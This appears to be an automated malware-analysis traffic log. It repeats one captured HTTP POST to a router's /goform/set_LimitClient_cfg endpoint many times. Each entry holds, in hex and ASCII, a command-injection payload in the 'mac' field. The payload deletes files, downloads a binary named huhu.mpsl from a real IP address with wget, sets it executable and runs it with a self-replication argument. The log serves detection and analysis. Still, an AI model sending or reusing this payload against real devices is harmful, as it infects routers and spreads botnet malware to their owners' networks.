Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
